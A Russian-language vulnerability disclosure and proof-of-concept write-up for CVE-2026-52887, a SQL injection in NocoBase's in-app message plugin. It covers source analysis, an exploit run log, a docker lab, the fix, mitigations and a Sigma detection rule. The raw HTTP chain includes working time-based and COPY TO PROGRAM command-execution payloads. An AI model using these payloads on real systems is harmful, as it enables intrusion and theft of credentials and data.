
CVE-2026-52887 — SQL-инъекция в NocoBase -> RCE с правами суперпользователя PostgreSQL (фильтр myInAppChannels:list, CVSS 10.0). Авторский PoC + анализ исходного кода + docker-лаборатория.
SQL-инъекция в действии myInAppChannels:list плагина @nocobase/plugin-notification-in-app-message (≤ 2.0.60) проекта NocoBase. Параметр запроса filter[latestMsgReceiveTimestamp][$lt] подставляется напрямую в сырую SQL-строку Sequelize.literal() без экранирования и связывания. Благодаря поддержке stacked-запросов драйвером PostgreSQL pg инъекция достигает COPY … TO PROGRAM, а поскольку в стандартном compose-файле вендора роль БД nocobase создаётся как суперпользователь, это приводит к выполнению shell-команд от имени системного пользователя postgres. Эндпоинт требует авторизованного пользователя, но в плагине auth-basic по умолчанию включена самостоятельная регистрация, поэтому любой анонимный посетитель может зарегистрироваться и получить доступ.
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, обработчик myInAppChannels:list (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt берётся напрямую из строки запроса (filter[latestMsgReceiveTimestamp][$lt]=…) и конкатенируется в Sequelize.literal() — это сырой SQL, без связывания параметров и приведения типов. Злоумышленник закрывает сравнение и добавляет произвольный SQL.
pg, который допускает пакеты (stacked) запросов (… ; …). Внедрённый фрагмент добавляет второе выражение.docker-compose.yml вендора создаёт роль nocobase через POSTGRES_USER образа postgres, а такая роль всегда суперпользователь.COPY (…) TO PROGRAM '<shell>', запуская <shell> от имени системного пользователя postgres внутри контейнера БД.ACL для myInAppChannels — loggedIn, но в плагине auth-basic по умолчанию установлено allowSignUp: true. Анонимный злоумышленник самостоятельно регистрируется (POST /api/auth:signUp?authenticator=basic), входит и получает bearer-токен, после чего продолжает атаку — так что на установке по умолчанию это фактически уязвимость без аутентификации.
В defineMyInAppChannels.ts добавлена функция parseLatestMsgReceiveTimestampLt(), которая пропускает значение через Number() (возвращая 400 на нечисловой / неконечный ввод) и переходит на связанное сравнение:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Исходная HTTP-цепочка:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
Параметр --cmd принимает любую shell-команду (reverse shell, OAST-колбэк, чтение строк БД через COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' и т.д.).
На этом хосте нет docker bridge, поэтому запустите оба контейнера с сетевым режимом host:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
Граница исправленной версии (запрос отклоняется):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
См. EVIDENCE.txt с записанным транскриптом и ANALYSIS.md с разбором на уровне исходного кода.
ПОДТВЕРЖДЁННАЯ УЯЗВИМОСТЬ на nocobase/nocobase:2.0.57, подтверждена двумя независимыми методами:
PG_SLEEP(5) задерживает ответ примерно на 5.0 с, тогда как идентичный запрос без sleep на том же эндпоинте возвращается примерно за 0.03 с (это исключает артефакты rate limiter / повторов).uid=999(postgres) gid=999(postgres) — реальный вывод id(1), выполненной от имени системного пользователя postgres, а не эхо полезной нагрузки.ИСПРАВЛЕНО на nocobase/nocobase:2.0.61 — обе полезные нагрузки возвращают HTTP 400, а числовой $lt по-прежнему возвращает 200.
Удалённое выполнение кода от имени системного пользователя postgres внутри контейнера БД: полный доступ на чтение и запись к базе данных NocoBase, раскрытие всех хранимых секретов и учётных данных пользователей, а также плацдарм для горизонтального перемещения. На установке по умолчанию доступно любому анонимному посетителю.
COPY … TO PROGRAM).allowSignUp: false), если она не требуется.Запросы myInAppChannels:list, у которых значение filter[latestMsgReceiveTimestamp][$lt] не является обычным числом, а также журналы PostgreSQL, содержащие COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (журнал доступа веб-сервера):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| Продукт | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Затронуто | ≤ 2.0.60 (проверено на nocobase/nocobase:2.0.57) |
| Исправлено | 2.0.61 |
| Класс | SQL-инъекция (CWE-89) → выполнение команд ОС |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| Аутентификация | Фактически без аутентификации — по умолчанию auth-basic allowSignUp: true |
| Статус | ПОДТВЕРЖДЁННАЯ УЯЗВИМОСТЬ — проверено end-to-end на 2.0.57 |